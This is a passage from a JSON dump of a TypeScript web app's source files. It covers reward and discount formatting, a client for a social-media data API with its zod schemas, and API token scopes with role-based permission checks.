    "content": "import { DiscountProps } from \"@/lib/types\";\nimport { currencyFormatter } from \"@dub/utils\";\n\nexport const constructDiscountAmount = (\n  discount: Pick<DiscountProps, \"amount\" | \"type\">,\n) => {\n  return discount.type === \"percentage\"\n    ? `${discount.amount}%`\n    : currencyFormatter(discount.amount, {\n        trailingZeroDisplay: \"stripIfInteger\",\n      });\n};\n"
  },
  {
    "path": "apps/web/lib/api/sales/construct-reward-amount.ts",
    "content": "import { getRewardAmount } from \"@/lib/partners/get-reward-amount\";\nimport { RewardProps } from \"@/lib/types\";\nimport { rewardConditionsArraySchema } from \"@/lib/zod/schemas/rewards\";\nimport { currencyFormatter } from \"@dub/utils\";\n\nexport const constructRewardAmount = (\n  reward: Pick<\n    RewardProps,\n    | \"type\"\n    | \"amountInCents\"\n    | \"amountInPercentage\"\n    | \"maxDuration\"\n    | \"modifiers\"\n  >,\n) => {\n  // If there are modifiers, we need to check if they match the primary reward\n  if (reward.modifiers) {\n    const parsedModifiers = rewardConditionsArraySchema.safeParse(\n      reward.modifiers,\n    );\n\n    if (parsedModifiers.success) {\n      const modifiers = parsedModifiers.data;\n\n      // if no type or maxDuration, it falls back to the primary reward type and maxDuration\n      const matchPrimary = modifiers.every((m) => {\n        const typeMatches =\n          m.type === undefined ? true : m.type === reward.type;\n        const durationMatches =\n          m.maxDuration === undefined\n            ? true\n            : m.maxDuration === reward.maxDuration;\n        return typeMatches && durationMatches;\n      });\n\n      // If the type AND maxDuration matches the primary, show a range\n      if (matchPrimary) {\n        const amount = getRewardAmount(reward);\n\n        const min = Math.min(\n          amount,\n          ...modifiers.map((modifier) =>\n            reward.type === \"flat\"\n              ? modifier.amountInCents ?? Infinity\n              : modifier.amountInPercentage ?? Infinity,\n          ),\n        );\n\n        const max = Math.max(\n          amount,\n          ...modifiers.map((modifier) =>\n            reward.type === \"flat\"\n              ? modifier.amountInCents ?? 0\n              : modifier.amountInPercentage ?? 0,\n          ),\n        );\n\n        if (min !== max) {\n          return `Up to ${\n            reward.type === \"percentage\"\n              ? `${max}%`\n              : currencyFormatter(max, {\n                  trailingZeroDisplay: \"stripIfInteger\",\n                })\n          }`;\n        }\n      }\n    }\n  }\n\n  // Return the primary reward amount if\n  // 1. There are no modifiers OR\n  // 2. type AND timelines doesn't match the primary reward\n  return reward.type === \"percentage\"\n    ? `${reward.amountInPercentage ?? 0}%`\n    : currencyFormatter(reward.amountInCents ?? 0, {\n        trailingZeroDisplay: \"stripIfInteger\",\n      });\n};\n"
  },
  {
    "path": "apps/web/lib/api/scrape-creators/client.ts",
    "content": "import { createFetch, createSchema } from \"@better-fetch/fetch\";\nimport { PlatformType } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { socialContentSchema, socialProfileSchema } from \"./schema\";\n\nexport const scrapeCreatorsFetch = createFetch({\n  baseURL: \"https://api.scrapecreators.com\",\n  retry: {\n    type: \"linear\",\n    attempts: 1,\n    delay: 3000,\n  },\n  headers: {\n    \"x-api-key\": process.env.SCRAPECREATORS_API_KEY!,\n  },\n  schema: createSchema(\n    {\n      // Fetch social profile\n      \"/v1/:platform/:handleType\": {\n        method: \"get\",\n        params: z.object({\n          platform: z.enum(PlatformType),\n          handleType: z.enum([\"channel\", \"profile\"]),\n        }),\n        query: z.object({\n          handle: z.string(),\n        }),\n        output: socialProfileSchema,\n      },\n\n      // Fetch social content\n      \"/:version/:platform/:contentType\": {\n        method: \"get\",\n        params: z.object({\n          version: z.enum([\"v1\", \"v2\"]),\n          platform: z.enum(PlatformType),\n          contentType: z.enum([\"post\", \"video\", \"tweet\"]),\n        }),\n        query: z.object({\n          url: z.string(),\n        }),\n        output: socialContentSchema,\n      },\n    },\n    {\n      strict: true,\n    },\n  ),\n  onError: ({ error }) => {\n    console.error(\"[ScrapeCreators] Error\", error);\n  },\n  // onResponse: async ({ response }) => {\n  //   console.log(\n  //     \"[ScrapeCreators] Response\",\n  //     prettyPrint(await response.clone().json()),\n  //   );\n  // },\n});\n"
  },
  {
    "path": "apps/web/lib/api/scrape-creators/get-linkedin-post.ts",
    "content": "import { scrapeCreatorsFetch } from \"./client\";\n\ninterface LinkedInPostResult {\n  description: string | null;\n  author: {\n    url: string | null;\n    followers: number;\n  };\n}\n\nexport async function getLinkedInPost(\n  url: string,\n): Promise<LinkedInPostResult> {\n  const { data, error } = await scrapeCreatorsFetch(\n    \"/:version/:platform/:contentType\",\n    {\n      params: {\n        version: \"v1\",\n        platform: \"linkedin\",\n        contentType: \"post\",\n      },\n      query: {\n        url,\n      },\n    },\n  );\n\n  if (error) {\n    throw new Error(\n      \"We were unable to retrieve the LinkedIn post. Please check the URL and try again.\",\n    );\n  }\n\n  if (data.platform !== \"linkedin\") {\n    throw new Error(\n      \"The provided URL does not appear to be a valid LinkedIn post.\",\n    );\n  }\n\n  return {\n    description: data.description ?? data.headline ?? null,\n    author: {\n      url: data.author.url ?? null,\n      followers: data.author.followers ?? 0,\n    },\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/api/scrape-creators/get-social-content.ts",
    "content": "import { BOUNTY_SOCIAL_PLATFORM_VALUES } from \"@/lib/bounty/social-content\";\nimport { SocialContent } from \"@/lib/types\";\nimport { redis } from \"@/lib/upstash\";\nimport { PlatformType } from \"@dub/prisma/client\";\nimport { hashStringSHA256, isValidUrl } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { scrapeCreatorsFetch } from \"./client\";\n\nconst CACHE_KEY_PREFIX = \"socialContentCache\";\nconst CACHE_TTL = 60 * 60;\n\ninterface GetSocialContentStatsParams {\n  platform: PlatformType;\n  url: string;\n}\n\nconst PLATFORM_CONTENT_TYPE: Record<\n  Exclude<PlatformType, \"website\">,\n  \"post\" | \"video\" | \"tweet\"\n> = {\n  youtube: \"video\",\n  instagram: \"post\",\n  twitter: \"tweet\",\n  tiktok: \"video\",\n  linkedin: \"post\",\n};\n\nconst EMPTY_SOCIAL_CONTENT: SocialContent = {\n  publishedAt: null,\n  platformId: null,\n  handle: null,\n  likes: 0,\n  views: 0,\n  title: null,\n  description: null,\n  thumbnailUrl: null,\n};\n\nexport async function getSocialContent({\n  platform,\n  url,\n}: GetSocialContentStatsParams): Promise<SocialContent> {\n  url = url?.trim();\n\n  // Invalid URL\n  if (!url || !isValidUrl(url)) {\n    return EMPTY_SOCIAL_CONTENT;\n  }\n\n  url = normalizeUrl(url);\n\n  // Check cache first\n  const urlHash = await hashStringSHA256(url);\n  const cacheKey = `${CACHE_KEY_PREFIX}:${urlHash}`;\n\n  const cachedResult = await redis.get<SocialContent>(cacheKey);\n\n  if (cachedResult) {\n    return cachedResult;\n  }\n\n  const contentType = PLATFORM_CONTENT_TYPE[platform];\n  const version = platform === \"tiktok\" ? \"v2\" : \"v1\";\n\n  const { data, error } = await scrapeCreatorsFetch(\n    \"/:version/:platform/:contentType\",\n    {\n      params: {\n        version,\n        platform,\n        contentType,\n      },\n      query: {\n        url,\n      },\n    },\n  );\n\n  if (error) {\n    // Post not found\n    // Cache empty result, so that we don't keep trying to scrape the same post.\n    if (error.status === 404) {\n      waitUntil(\n        redis.set(cacheKey, EMPTY_SOCIAL_CONTENT, {\n          ex: CACHE_TTL * 24 * 30,\n        }),\n      );\n    }\n\n    // We don't cache other errors because they are likely to be transient.\n    return EMPTY_SOCIAL_CONTENT;\n  }\n\n  let result: SocialContent;\n\n  switch (data.platform) {\n    case \"youtube\": {\n      result = {\n        publishedAt: new Date(data.publishDateText),\n        handle: data.channel.handle,\n        platformId: data.channel.id,\n        views: data.viewCountInt,\n        likes: data.likeCountInt,\n        title: data.title ?? null,\n        description: data.description ?? null,\n        thumbnailUrl: data.thumbnailUrl ?? null,\n      };\n      break;\n    }\n\n    case \"instagram\": {\n      const thumbnailUrl = data.display_url ?? data.thumbnail_src ?? null;\n      const carouselEdges = data.edge_sidecar_to_children?.edges ?? [];\n\n      const thumbnailUrls =\n        carouselEdges.length > 0\n          ? carouselEdges\n              .map(\n                (edge: {\n                  node: { display_url?: string; thumbnail_src?: string };\n                }) => edge.node.display_url ?? edge.node.thumbnail_src ?? \"\",\n              )\n              .filter(Boolean)\n          : undefined;\n\n      let mediaType: \"image\" | \"video\" | \"carousel\" | undefined;\n\n      if (data.__typename === \"GraphVideo\") {\n        mediaType = \"video\";\n      } else if (\n        data.__typename === \"GraphSidecar\" ||\n        (thumbnailUrls !== undefined && thumbnailUrls.length > 0)\n      ) {\n        mediaType = \"carousel\";\n      } else if (data.__typename === \"GraphImage\") {\n        mediaType = \"image\";\n      } else if (thumbnailUrls === undefined && data.video_view_count > 0) {\n        mediaType = \"video\";\n      }\n\n      result = {\n        publishedAt: new Date(data.taken_at_timestamp * 1000),\n        handle: data.owner.username,\n        platformId: null,\n        views: data.video_view_count,\n        likes: data.edge_media_preview_like.count,\n        title: null,\n        description: data.edge_media_to_caption?.edges?.[0]?.node?.text ?? null,\n        thumbnailUrl,\n        mediaType,\n        thumbnailUrls,\n      };\n      break;\n    }\n\n    case \"twitter\": {\n      result = {\n        publishedAt: new Date(data.legacy.created_at),\n        handle: data.core.user_results.result.core.screen_name,\n        platformId: null,\n        views: data.views.count,\n        likes: data.legacy.favorite_count,\n        title: null,\n        description: data.legacy.full_text ?? null,\n        thumbnailUrl: null,\n      };\n      break;\n    }\n\n    case \"tiktok\": {\n      result = {\n        publishedAt: new Date(data.create_time_utc),\n        handle: data.author.unique_id,\n        platformId: null,\n        views: data.statistics.play_count,\n        likes: data.statistics.digg_count,\n        title: null,\n        description: data.desc ?? null,\n        thumbnailUrl: data.video?.cover?.url_list?.[0] ?? null,\n      };\n      break;\n    }\n\n    case \"linkedin\": {\n      const handleMatch = data.author?.url?.match(\n        /linkedin\\.com\\/in\\/([^\\/\\?]+)/i,\n      );\n\n      result = {\n        publishedAt: data.datePublished ? new Date(data.datePublished) : null,\n        handle: handleMatch?.[1] ?? null,\n        platformId: null,\n        views: 0,\n        likes: data.likeCount,\n        title: data.name ?? null,\n        description: data.description ?? data.headline ?? null,\n        thumbnailUrl: null,\n      };\n      break;\n    }\n\n    default:\n      result = {\n        publishedAt: null,\n        handle: null,\n        platformId: null,\n        views: 0,\n        likes: 0,\n        title: null,\n        description: null,\n        thumbnailUrl: null,\n      };\n  }\n\n  if (BOUNTY_SOCIAL_PLATFORM_VALUES.includes(data.platform)) {\n    waitUntil(redis.set(cacheKey, result, { ex: CACHE_TTL }));\n  }\n\n  return result;\n}\n\nfunction normalizeUrl(raw: string) {\n  const url = new URL(raw);\n\n  // Lowercase hostname\n  url.hostname = url.hostname.toLowerCase();\n\n  // Remove tracking params\n  [\n    \"utm_source\",\n    \"utm_medium\",\n    \"utm_campaign\",\n    \"si\",\n    \"feature\",\n    \"igshid\",\n    \"t\",\n  ].forEach((p) => url.searchParams.delete(p));\n\n  // Remove trailing slash\n  url.pathname = url.pathname.replace(/\\/$/, \"\");\n\n  return url.toString();\n}\n"
  },
  {
    "path": "apps/web/lib/api/scrape-creators/get-social-profile.ts",
    "content": "import { PartnerPlatform, PlatformType } from \"@dub/prisma/client\";\nimport { scrapeCreatorsFetch } from \"./client\";\n\ntype SocialProfile = Pick<\n  PartnerPlatform,\n  \"platformId\" | \"subscribers\" | \"posts\" | \"views\" | \"avatarUrl\"\n> & {\n  description: string | null;\n};\n\ninterface GetSocialProfileParams {\n  platform: PlatformType;\n  handle: string;\n}\n\nexport class AccountNotFoundError extends Error {\n  constructor(message: string) {\n    super(message);\n    this.name = \"AccountNotFoundError\";\n  }\n}\n\nexport async function getSocialProfile({\n  platform,\n  handle,\n}: GetSocialProfileParams) {\n  const { data, error } = await scrapeCreatorsFetch(\n    \"/v1/:platform/:handleType\",\n    {\n      params: {\n        platform,\n        handleType: platform === \"youtube\" ? \"channel\" : \"profile\",\n      },\n      query: {\n        handle,\n      },\n    },\n  );\n\n  if (error) {\n    throw new Error(\n      \"We were unable to retrieve your social media profile. Please try again.\",\n    );\n  }\n\n  // Check if account doesn't exist\n  if (data.platform === \"account_not_found\") {\n    throw new AccountNotFoundError(\n      (data as { message?: string }).message || \"Account doesn't exist\",\n    );\n  }\n\n  let socialProfile: SocialProfile = {\n    description: null,\n    platformId: null,\n    subscribers: BigInt(0),\n    posts: BigInt(0),\n    views: BigInt(0),\n    avatarUrl: null,\n  };\n\n  switch (data.platform) {\n    case \"youtube\": {\n      const largestAvatar = data.avatar.image.sources.sort(\n        (a, b) => b.width - a.width,\n      )[0];\n\n      socialProfile.description = data.description;\n      socialProfile.platformId = data.channelId;\n      socialProfile.subscribers = BigInt(data.subscriberCount);\n      socialProfile.posts = BigInt(data.videoCount);\n      socialProfile.views = BigInt(data.viewCount);\n      socialProfile.avatarUrl = largestAvatar?.url ?? null;\n      break;\n    }\n\n    case \"instagram\": {\n      socialProfile.description = data.data.user.biography;\n      socialProfile.subscribers = BigInt(data.data.user.edge_followed_by.count);\n      socialProfile.posts = BigInt(\n        data.data.user.edge_owner_to_timeline_media.count,\n      );\n      socialProfile.avatarUrl = data.data.user.profile_pic_url;\n      break;\n    }\n\n    case \"tiktok\": {\n      socialProfile.description = data.user.signature;\n      socialProfile.platformId = data.user.id;\n      socialProfile.subscribers = BigInt(data.stats.followerCount);\n      socialProfile.posts = BigInt(data.stats.videoCount);\n      socialProfile.avatarUrl = data.user.avatarThumb;\n      break;\n    }\n\n    case \"twitter\": {\n      socialProfile.description = data.legacy.description;\n      socialProfile.platformId = data.rest_id;\n      socialProfile.subscribers = BigInt(data.legacy.followers_count);\n      socialProfile.posts = BigInt(data.legacy.statuses_count);\n      socialProfile.avatarUrl = data.avatar.image_url;\n      break;\n    }\n  }\n\n  return socialProfile;\n}\n"
  },
  {
    "path": "apps/web/lib/api/scrape-creators/schema.ts",
    "content": "import * as z from \"zod/v4\";\n\nexport const socialProfileSchema = z.preprocess(\n  (data: any) => {\n    if (typeof data === \"object\" && data !== null) {\n      // Check for \"account doesn't exist\" response\n      if (\n        \"message\" in data &&\n        typeof data.message === \"string\" &&\n        (data.message.toLowerCase().includes(\"doesn't exist\") ||\n          data.message.toLowerCase().includes(\"does not exist\") ||\n          data.message.toLowerCase().includes(\"not found\"))\n      ) {\n        return {\n          ...data,\n          platform: \"account_not_found\",\n        };\n      }\n\n      // YouTube detection\n      if (\"description\" in data && \"channelId\" in data) {\n        return {\n          ...data,\n          platform: \"youtube\",\n        };\n      }\n\n      // Instagram detection\n      if (\"data\" in data && typeof data.data === \"object\" && data.data?.user) {\n        return {\n          ...data,\n          platform: \"instagram\",\n        };\n      }\n\n      // TikTok detection\n      if (\"user\" in data && \"stats\" in data) {\n        return {\n          ...data,\n          platform: \"tiktok\",\n        };\n      }\n\n      // Twitter detection: check for rest_id and legacy fields (more reliable than is_blue_verified)\n      if (\"rest_id\" in data && \"legacy\" in data) {\n        return {\n          ...data,\n          platform: \"twitter\",\n        };\n      }\n    }\n\n    return data;\n  },\n\n  z.discriminatedUnion(\"platform\", [\n    z.object({\n      platform: z.literal(\"account_not_found\"),\n      handle: z.string().optional(),\n      message: z.string().optional(),\n    }),\n\n    z.object({\n      platform: z.literal(\"youtube\"),\n      description: z.string(),\n      channelId: z.string(),\n      videoCount: z\n        .number()\n        .nullish()\n        .transform((val) => val ?? 0),\n      subscriberCount: z\n        .number()\n        .nullish()\n        .transform((val) => val ?? 0),\n      viewCount: z\n        .number()\n        .nullish()\n        .transform((val) => val ?? 0),\n      avatar: z.object({\n        image: z.object({\n          sources: z.array(\n            z.object({\n              url: z.url(),\n              width: z.number(),\n              height: z.number(),\n            }),\n          ),\n        }),\n      }),\n    }),\n\n    z.object({\n      platform: z.literal(\"instagram\"),\n      data: z.object({\n        user: z.object({\n          biography: z.string(),\n          edge_followed_by: z.object({\n            count: z\n              .number()\n              .nullish()\n              .transform((val) => val ?? 0),\n          }),\n          edge_owner_to_timeline_media: z.object({\n            count: z\n              .number()\n              .nullish()\n              .transform((val) => val ?? 0),\n          }),\n          profile_pic_url: z.url().nullish().default(null),\n        }),\n      }),\n    }),\n\n    z.object({\n      platform: z.literal(\"tiktok\"),\n      user: z.object({\n        id: z.string(),\n        signature: z.string(),\n        uniqueId: z.string(),\n        avatarThumb: z.url().nullish().default(null),\n      }),\n      stats: z.object({\n        followerCount: z\n          .number()\n          .nullish()\n          .transform((val) => val ?? 0),\n        videoCount: z\n          .number()\n          .nullish()\n          .transform((val) => val ?? 0),\n        heartCount: z\n          .number()\n          .nullish()\n          .transform((val) => val ?? 0),\n      }),\n    }),\n\n    z.object({\n      platform: z.literal(\"twitter\"),\n      rest_id: z.string(),\n      legacy: z.object({\n        description: z.string(),\n        followers_count: z\n          .number()\n          .nullish()\n          .transform((val) => val ?? 0),\n        statuses_count: z\n          .number()\n          .nullish()\n          .transform((val) => val ?? 0),\n      }),\n      avatar: z.object({\n        image_url: z.url().nullish().default(null),\n      }),\n    }),\n  ]),\n);\n\nexport const socialContentSchema = z.preprocess(\n  (data: any) => {\n    if (typeof data === \"object\" && data !== null) {\n      // YouTube detection\n      if (\"viewCountInt\" in data && \"likeCountInt\" in data) {\n        return {\n          ...data,\n          platform: \"youtube\",\n        };\n      }\n\n      // Instagram detection\n      if (\"data\" in data && \"xdt_shortcode_media\" in data.data) {\n        return {\n          ...data.data.xdt_shortcode_media,\n          platform: \"instagram\",\n        };\n      }\n\n      // Twitter detection\n      if (\"__typename\" in data && data.__typename === \"Tweet\") {\n        return {\n          ...data,\n          platform: \"twitter\",\n        };\n      }\n\n      // TikTok detection\n      if (\"aweme_detail\" in data) {\n        return {\n          ...data.aweme_detail,\n          platform: \"tiktok\",\n        };\n      }\n\n      // LinkedIn detection\n      if (\"author\" in data && \"likeCount\" in data && \"commentCount\" in data) {\n        return {\n          ...data,\n          platform: \"linkedin\",\n        };\n      }\n    }\n\n    return data;\n  },\n  z.discriminatedUnion(\"platform\", [\n    z.object({\n      platform: z.literal(\"youtube\"),\n      publishDateText: z.string(),\n      channel: z.object({\n        id: z.string(),\n        handle: z.string(),\n      }),\n      viewCountInt: z\n        .number()\n        .nullable()\n        .transform((val) => val ?? 0),\n      likeCountInt: z\n        .number()\n        .nullable()\n        .transform((val) => val ?? 0),\n      title: z.string().nullish(),\n      description: z.string().nullish(),\n      thumbnailUrl: z.string().nullish(),\n    }),\n\n    z.object({\n      platform: z.literal(\"instagram\"),\n      taken_at_timestamp: z.number(),\n      owner: z.object({\n        username: z.string(),\n      }),\n      video_view_count: z\n        .number()\n        .nullish()\n        .transform((val) => val ?? 0),\n      edge_media_preview_like: z.object({\n        count: z\n          .number()\n          .nullable()\n          .transform((val) => val ?? 0),\n      }),\n      edge_media_to_caption: z\n        .object({\n          edges: z.array(\n            z.object({\n              node: z.object({ text: z.string() }),\n            }),\n          ),\n        })\n        .optional(),\n      display_url: z.string().optional(),\n      thumbnail_src: z.string().optional(),\n      __typename: z.string().optional(),\n      edge_sidecar_to_children: z\n        .object({\n          edges: z.array(\n            z.object({\n              node: z.object({\n                display_url: z.string().optional(),\n                thumbnail_src: z.string().optional(),\n              }),\n            }),\n          ),\n        })\n        .optional(),\n    }),\n\n    z.object({\n      platform: z.literal(\"twitter\"),\n      core: z.object({\n        user_results: z.object({\n          result: z.object({\n            core: z.object({\n              screen_name: z.string(),\n            }),\n          }),\n        }),\n      }),\n      views: z.object({\n        count: z\n          .string()\n          .nullable()\n          .transform((val) => (val == null ? 0 : Number(val))),\n      }),\n      legacy: z.object({\n        created_at: z.string(),\n        favorite_count: z\n          .number()\n          .nullable()\n          .transform((val) => val ?? 0),\n        full_text: z.string().optional(),\n      }),\n    }),\n\n    z.object({\n      platform: z.literal(\"tiktok\"),\n      create_time_utc: z.string(),\n      author: z.object({\n        unique_id: z.string(),\n      }),\n      statistics: z.object({\n        play_count: z\n          .number()\n          .nullable()\n          .transform((val) => val ?? 0),\n        digg_count: z\n          .number()\n          .nullable()\n          .transform((val) => val ?? 0),\n      }),\n      desc: z.string().optional(),\n      video: z\n        .object({\n          cover: z\n            .object({\n              url_list: z.array(z.string()),\n            })\n            .optional(),\n        })\n        .optional(),\n    }),\n\n    z.object({\n      platform: z.literal(\"linkedin\"),\n      name: z.string().nullish(),\n      description: z.string().nullish(),\n      headline: z.string().nullish(),\n      datePublished: z.string().nullish(),\n      likeCount: z\n        .number()\n        .nullish()\n        .transform((val) => val ?? 0),\n      author: z.object({\n        url: z.string(),\n        followers: z\n          .number()\n          .nullish()\n          .transform((val) => val ?? 0),\n      }),\n    }),\n  ]),\n);\n"
  },
  {
    "path": "apps/web/lib/api/tags/combine-tag-ids.ts",
    "content": "/**\n * Combines tagIds into a single string array or undefined from tagId and tagIds arguments\n */\nexport function combineTagIds({\n  tagId,\n  tagIds,\n}: {\n  tagId?: string | null;\n  tagIds?: string[];\n}): string[] | undefined {\n  // Use tagIds if present, fall back to tagId\n  if (tagIds && Array.isArray(tagIds)) {\n    // remove duplicates\n    return [...new Set(tagIds)];\n  }\n  return tagId === null ? [] : tagId !== undefined ? [tagId] : undefined;\n}\n"
  },
  {
    "path": "apps/web/lib/api/tokens/scopes.ts",
    "content": "import { WorkspaceRole } from \"@dub/prisma/client\";\nimport { PermissionAction } from \"../rbac/permissions\";\nimport { ResourceKey } from \"../rbac/resources\";\n\nexport const SCOPES = [\n  \"links.read\",\n  \"links.write\",\n  \"tags.read\",\n  \"tags.write\",\n  \"folders.read\",\n  \"folders.write\",\n  \"analytics.read\",\n  \"domains.read\",\n  \"domains.write\",\n  \"workspaces.read\",\n  \"workspaces.write\",\n  \"webhooks.read\",\n  \"webhooks.write\",\n  \"groups.read\",\n  \"groups.write\",\n  \"apis.all\", // All API scopes\n  \"apis.read\", // All read scopes\n] as const;\n\nexport type Scope = (typeof SCOPES)[number];\n\n// Scopes available for Workspace API keys\nexport const RESOURCE_SCOPES: {\n  scope: Scope;\n  roles: WorkspaceRole[];\n  permissions: PermissionAction[];\n  type?: \"read\" | \"write\";\n  resource?: ResourceKey;\n}[] = [\n  {\n    scope: \"links.read\",\n    roles: [\"owner\", \"member\", \"viewer\", \"billing\"],\n    permissions: [\"links.read\"],\n    type: \"read\",\n    resource: \"links\",\n  },\n  {\n    scope: \"links.write\",\n    roles: [\"owner\", \"member\"],\n    permissions: [\"links.write\", \"links.read\"],\n    type: \"write\",\n    resource: \"links\",\n  },\n  {\n    scope: \"tags.read\",\n    roles: [\"owner\", \"member\", \"viewer\", \"billing\"],\n    permissions: [\"tags.read\"],\n    type: \"read\",\n    resource: \"tags\",\n  },\n  {\n    scope: \"tags.write\",\n    roles: [\"owner\", \"member\"],\n    permissions: [\"tags.write\", \"tags.read\"],\n    type: \"write\",\n    resource: \"tags\",\n  },\n  {\n    scope: \"folders.read\",\n    roles: [\"owner\", \"member\", \"viewer\", \"billing\"],\n    permissions: [\"folders.read\"],\n    type: \"read\",\n    resource: \"folders\",\n  },\n  {\n    scope: \"folders.write\",\n    roles: [\"owner\", \"member\"],\n    permissions: [\"folders.write\", \"folders.read\"],\n    type: \"write\",\n    resource: \"folders\",\n  },\n  {\n    scope: \"domains.read\",\n    roles: [\"owner\", \"member\", \"viewer\", \"billing\"],\n    permissions: [\"domains.read\"],\n    type: \"read\",\n    resource: \"domains\",\n  },\n  {\n    scope: \"domains.write\",\n    roles: [\"owner\"],\n    permissions: [\"domains.write\", \"domains.read\"],\n    type: \"write\",\n    resource: \"domains\",\n  },\n  {\n    scope: \"groups.read\",\n    roles: [\"owner\", \"member\", \"viewer\", \"billing\"],\n    permissions: [\"groups.read\"],\n    type: \"read\",\n    resource: \"groups\",\n  },\n  {\n    scope: \"groups.write\",\n    roles: [\"owner\", \"member\"],\n    permissions: [\"groups.write\", \"groups.read\"],\n    type: \"write\",\n    resource: \"groups\",\n  },\n  {\n    scope: \"workspaces.read\",\n    roles: [\"owner\", \"member\", \"viewer\", \"billing\"],\n    permissions: [\"workspaces.read\"],\n    type: \"read\",\n    resource: \"workspaces\",\n  },\n  {\n    scope: \"workspaces.write\",\n    roles: [\"owner\"],\n    permissions: [\"workspaces.write\", \"workspaces.read\"],\n    type: \"write\",\n    resource: \"workspaces\",\n  },\n  {\n    scope: \"analytics.read\",\n    roles: [\"owner\", \"member\", \"viewer\", \"billing\"],\n    permissions: [\"analytics.read\"],\n    type: \"read\",\n    resource: \"analytics\",\n  },\n  {\n    scope: \"webhooks.read\",\n    roles: [\"owner\", \"member\", \"viewer\", \"billing\"],\n    permissions: [\"webhooks.read\"],\n    type: \"read\",\n    resource: \"webhooks\",\n  },\n  {\n    scope: \"webhooks.write\",\n    roles: [\"owner\"],\n    permissions: [\"webhooks.write\", \"webhooks.read\"],\n    type: \"write\",\n    resource: \"webhooks\",\n  },\n  {\n    scope: \"apis.read\",\n    roles: [\"owner\", \"member\", \"viewer\", \"billing\"],\n    permissions: [\n      \"links.read\",\n      \"tags.read\",\n      \"folders.read\",\n      \"domains.read\",\n      \"workspaces.read\",\n      \"analytics.read\",\n      \"groups.read\",\n    ],\n  },\n  {\n    scope: \"apis.all\",\n    roles: [\"owner\", \"member\"],\n    permissions: [\n      \"links.read\",\n      \"links.write\",\n      \"tags.read\",\n      \"tags.write\",\n      \"folders.read\",\n      \"folders.write\",\n      \"domains.read\",\n      \"domains.write\",\n      \"workspaces.read\",\n      \"workspaces.write\",\n      \"analytics.read\",\n      \"groups.read\",\n      \"groups.write\",\n    ],\n  },\n];\n\nexport const SCOPES_BY_RESOURCE = RESOURCE_SCOPES.reduce((acc, scope) => {\n  if (!scope.resource || !scope.type) {\n    return acc;\n  }\n\n  if (!acc[scope.resource]) {\n    acc[scope.resource] = [];\n  }\n\n  acc[scope.resource].push({\n    scope: scope.scope,\n    type: scope.type,\n    roles: scope.roles,\n  });\n\n  return acc;\n}, {});\n\n// Scope to permissions mapping\nexport const SCOPE_PERMISSIONS_MAP = RESOURCE_SCOPES.reduce((acc, scope) => {\n  acc[scope.scope] = scope.permissions;\n  return acc;\n}, {});\n\n// WorkspaceRole to scopes mapping\nexport const ROLE_SCOPES_MAP = RESOURCE_SCOPES.reduce((acc, scope) => {\n  scope.roles.forEach((role) => {\n    if (!acc[role]) {\n      acc[role] = [];\n    }\n\n    acc[role].push(scope.scope);\n  });\n\n  return acc;\n}, {});\n\n// For each scope, get the permissions it grants access to and return array of permissions\nexport const mapScopesToPermissions = (scopes: Scope[]) => {\n  const permissions: PermissionAction[] = [];\n\n  scopes.forEach((scope) => {\n    if (SCOPE_PERMISSIONS_MAP[scope]) {\n      permissions.push(...SCOPE_PERMISSIONS_MAP[scope]);\n    }\n  });\n\n  return permissions;\n};\n\n// Get SCOPES_BY_RESOURCE based on user role in a workspace\nexport const getScopesByResourceForRole = (role: WorkspaceRole) => {\n  const groupedByResource = {};\n\n  const allowedScopes = RESOURCE_SCOPES.map((scope) => {\n    if (scope.roles.includes(role)) {\n      return scope;\n    }\n  }).filter(Boolean);\n\n  allowedScopes.forEach((scope) => {\n    if (scope && scope.resource) {\n      if (!groupedByResource[scope.resource]) {\n        groupedByResource[scope.resource] = [];\n      }\n\n      groupedByResource[scope.resource].push(scope);\n    }\n  });\n\n  return groupedByResource;\n};\n\nexport const scopePresets = [\n  {\n    value: \"all_access\",\n    label: \"All\",\n    description: \"full access to all resources\",\n  },\n  {\n    value: \"read_only\",\n    label: \"Read Only\",\n    description: \"read-only access to all resources\",\n  },\n  {\n    value: \"restricted\",\n    label: \"Restricted\",\n    description: \"restricted access to some resources\",\n  },\n];\n\nexport const scopesToName = (scopes: string[]) => {\n  if (scopes.includes(\"apis.all\")) {\n    return {\n      name: \"All access\",\n      description: \"full access to all resources\",\n    };\n  }\n\n  if (scopes.includes(\"apis.read\")) {\n    return {\n      name: \"Read-only\",\n      description: \"read-only access to all resources\",\n    };\n  }\n\n  return {\n    name: \"Restricted\",\n    description: \"restricted access to some resources\",\n  };\n};\n\nexport const validateScopesForRole = (scopes: Scope[], role: WorkspaceRole) => {\n  const allowedScopes = ROLE_SCOPES_MAP[role];\n  const invalidScopes = scopes.filter(\n    (scope) => !allowedScopes.includes(scope),\n  );\n\n  return !(invalidScopes.length > 0);\n};\n\n// Get the scopes for a role\nexport const getScopesForRole = (role: WorkspaceRole) => {\n  return ROLE_SCOPES_MAP[role];\n};\n\n// Consolidate scopes to avoid duplication and show only the most permissive scope\nexport const consolidateScopes = (scopes: string[]) => {\n  const consolidated = new Set();\n\n  scopes.forEach((scope) => {\n    const [resource, action] = scope.split(\".\");\n\n    if (action === \"write\") {\n      consolidated.add(`${resource}.write`);\n    } else if (action === \"read\" && !consolidated.has(`${resource}.write`)) {\n      consolidated.add(`${resource}.read`);\n    }\n  });\n\n  return Array.from(consolidated) as string[];\n};\n"
  },
  {
    "path": "apps/web/lib/api/tokens/throw-if-no-access.ts",
    "content": "import \"server-only\";\nimport { DubApiError } from \"../errors\";\nimport { PermissionAction } from \"../rbac/permissions\";\nimport { prefixWorkspaceId } from \"../workspaces/workspace-id\";\n\n// Check if the required scope is in the list of user scopes\nexport const throwIfNoAccess = ({\n  permissions,\n  requiredPermissions,\n  workspaceId,\n  externalRequest = false,\n}: {\n  permissions: PermissionAction[]; // user or token permissions\n  requiredPermissions: PermissionAction[];\n  workspaceId: string;\n  externalRequest?: boolean;\n}) => {\n  if (requiredPermissions.length === 0) {\n    return;\n  }\n\n  const missingPermissions = requiredPermissions.filter(\n    (p) => !permissions.includes(p),\n  );\n\n  if (missingPermissions.length === 0) {\n    return;\n  }\n\n  const message = externalRequest\n    ? `The provided key does not have the required permissions for this endpoint on the workspace '${prefixWorkspaceId(workspaceId)}'. Having the '${missingPermissions.join(\" \")}' permission would allow this request to continue.`\n    : \"You don't have the necessary permissions to complete this request.\";\n\n  throw new DubApiError({\n    code: \"forbidden\",\n    